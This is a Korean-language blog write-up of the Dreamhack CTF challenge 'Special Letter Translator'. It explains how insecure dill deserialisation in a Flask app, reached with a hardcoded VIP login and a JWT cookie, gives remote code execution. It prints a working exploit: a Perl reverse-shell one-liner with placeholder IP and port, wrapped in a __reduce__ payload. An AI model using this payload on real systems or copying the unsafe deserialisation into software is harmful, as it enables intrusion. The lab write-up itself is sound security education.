WEB hacking/드림핵(dreamhack)

Dreamhack Special Letter Translator WriteUp

Roronoa 2025. 7. 17. 13:35
반응형

문제 풀이

app.py

translator 페이지에서 dill.loads를 통해 base64로 인코딩 된 데이터를 역직렬화 한다.

dill에서 역직렬화 취약점이 존재하기 때문에 RCE가 가능하다. 하지만 vip token이 존재해야지 해당 요청을 전송할 수 있다.

@app.route('/translator', methods=['GET', 'POST'])
def translator():
    token = request.cookies.get('Authorization')
    decoded_token = verify_vip_token(token)
    if not decoded_token:
        return jsonify({"error": "VIP CAN USE!"}), 403

    if request.method == 'POST':
        letter = request.form.get('letter')

        try:
            trans_letter = dill.loads(base64.b64decode(letter))
            return render_template('translator.html', decoded_info=trans_letter)  # 그냥 딕셔너리 자체 출력
        except Exception as e:
            return render_template('translator.html', error=str(e))

    return render_template('translator.html')

 

로그인에서 username과 password가 일치할 경우 해당 role을 부여하여 json토큰을 생성한다.

여기서 삽질 했는데, vip 패스워드가 진짜 supercomplexpassword123 이거다. 그래서 vip, supercomplexpassword123로 로그인하면 성공하게 된다.

accounts = [
    {
        "username": "guest",
        "password": "guest",
        "role": "guest"
    },
    {
        "username": "vip",
        "password": "supercomplexpassword123",
        "role": "vip"
    }
]

def verify_vip_token(token):
    try:
        decoded_token = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        if decoded_token.get('role') == 'vip':
            return decoded_token
        return None
    except jwt.ExpiredSignatureError:
        return None
    except jwt.InvalidTokenError:
        return None

...

@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username')
    password = request.form.get('password')

    for account in accounts:
        if account["username"] == username and account["password"] == password:
            token = jwt.encode({
                "username": username,
                "role": account["role"],
                "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1)
            }, SECRET_KEY, algorithm="HS256")
            return f"<h1>Guest Token Is </h1>{token}"

    return jsonify({"error": "로그인 에러"}), 401

 

로그인하면 vip 토큰을 확인할 수 있다.

vip 토큰

 

토큰을 쿠키 값에서 가져와서 확인하기 때문에 Authorization 쿠키를 생성한 후 token을 저장하여 translator 경로에 접속하면 잘 접속 된다.

Decode the Specail Letter 페이지

Exploit Code

dill 직렬화된 데이터로 reverse shell payload를 생성한다.

rev = """perl -e 'use Socket;$i="IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'"""
import dill
import base64

import os
class A(object):
    def __reduce__(self):
        return (os.system,(rev,))

payload = dill.dumps(A())
encode_payload = base64.b64encode(payload)
print(encode_payload)

# dill.loads(base64.b64decode(encode_payload))

 

편지 디코딩 하는 곳에 base64로 인코딩 된 Exploit Code 메시지 입력

직렬화된 reverse shell payload가 역직렬화 하면서 해당 코드를 실행하기 때문에 쉘을 획득할 수 있다.

쉘을 획득한 후 flag.txt를 확인하였다.

Flag

 

반응형